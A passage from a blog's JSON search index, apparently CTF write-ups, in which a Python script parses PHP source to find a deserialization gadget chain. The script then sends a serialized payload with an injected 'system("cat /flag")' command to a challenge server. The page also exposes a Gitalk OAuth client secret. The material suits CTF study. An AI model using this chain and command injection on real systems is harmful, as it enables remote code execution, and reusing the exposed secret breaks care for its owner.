class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e phplex\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpast \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phply.phpparse \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e make_parser\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eclasses = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efunc2class = \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eparser = make_parser()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;class.php\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e file:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lexer = phplex.lexer.clone()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ast = parser.parse(file.read(), lexer=lexer)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e cls \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e ast:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e cls.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e func2class[i.name] = cls.name\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e classes[cls.name] = cls\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eis_good_assign\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: Assignment\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == Assignment\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ctx_param.name == node.node.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == BinaryOp:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.op == \u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.left.name == ctx_param.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(node)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# unexpected\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) == Variable:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == ctx_param.name:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_if\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx_param, node: If\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node) == If\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e BinaryOp:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# debug\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eeval\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.left)+node.expr.op+\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(node.expr.right)):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(ctx_param, n):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(node.expr) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e FunctionCall:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e node.expr.name == \u003cspan class=\"string\"\u003e\u0026#x27;method_exists\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e func = node.expr.params[\u003cspan class=\"number\"\u003e1\u003c/span\u003e].node\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eassert\u003c/span\u003e(\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(func) == \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[func]],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e node.expr.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].node.name, func)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;unexpected call\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;unexpected expr\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ehandle_method\u003c/span\u003e(\u003cspan class=\"params\"\u003ectx, method\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ctx.param = method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e method.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e For:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e i.node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(n) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], n):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e If:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e handle_if(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e MethodCall:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e search(classes[func2class[i.name]], i.node.name, i.name)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Assignment:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e is_good_assign(method.params[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Eval:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esearch\u003c/span\u003e(\u003cspan class=\"params\"\u003enode, attr, method, path=[]\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path.append((node, attr, method))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e node.nodes:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(i) \u003cspan class=\"keyword\"\u003eis\u003c/span\u003e Method \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e i.name == method:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ctx = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e handle_method(ctx, i):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e good_paths.append(\u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(path))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path.pop()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003egood_paths = []\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esearch(classes[\u003cspan class=\"string\"\u003e\u0026#x27;dLEWX3\u0026#x27;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;L8IHXt\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(good_paths))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e n, a, m \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(n.name, a, m)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eprop_call\u003c/span\u003e(\u003cspan class=\"params\"\u003eparent, attr, cls\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esetattr\u003c/span\u003e(parent, attr, \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(cls, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003egetattr\u003c/span\u003e(parent, attr)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot = \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;dLEWX3\u0026#x27;\u003c/span\u003e, (\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e,), \u0026#123;\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enode = root\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epath = good_paths[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(path)):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e node = prop_call(node, path[i][\u003cspan class=\"number\"\u003e1\u003c/span\u003e], path[i][\u003cspan class=\"number\"\u003e0\u003c/span\u003e].name)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(root))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#x27;http://my_instance.cloudeci1.ichunqiu.com/\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;pop\u0026#x27;\u003c/span\u003e: serialize(root),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;argv\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;system(\u0026quot;cat /flag\u0026quot;); //\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题需要解析php源码的ast,并且进行搜索,去掉不可用的假链,找到唯一的一条真链。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e CTFHUB framework \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cimg src=\"/2021/06/15/Misc/libphpserialize/yii.jpg\" class=\"\"\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e这道题是一道比较常规的框架反序列化,payload需要base64_encode后发送\u003c/p\u003e\u003cp\u003eWIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/"},{"title":"第六届XCTF决赛部分Writeup","time":"2021-05-29T16:00:00Z","content":"\u003ch2 id=\"Prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cp\u003e这应该是我个人最近最后一场比赛了,整体而言挺开心的,还和诸葛老师合了影(\u003c/p\u003e\n\u003ch2 id=\"dngs2010\"\u003edngs2010\u003c/h2\u003e\n\u003cp\u003e由于源码里摆明了让我们去选svg,那我们就去选svg。\u003cb\u003chr /\u003e\u003ch2 id=\"Prologue\"\u003ePrologue\u003c/h2\u003e\u003cp\u003e这应该是我个人最近最后一场比赛了,整体而言挺开心的,还和诸葛老师合了影(\u003c/p\u003e\u003ch2 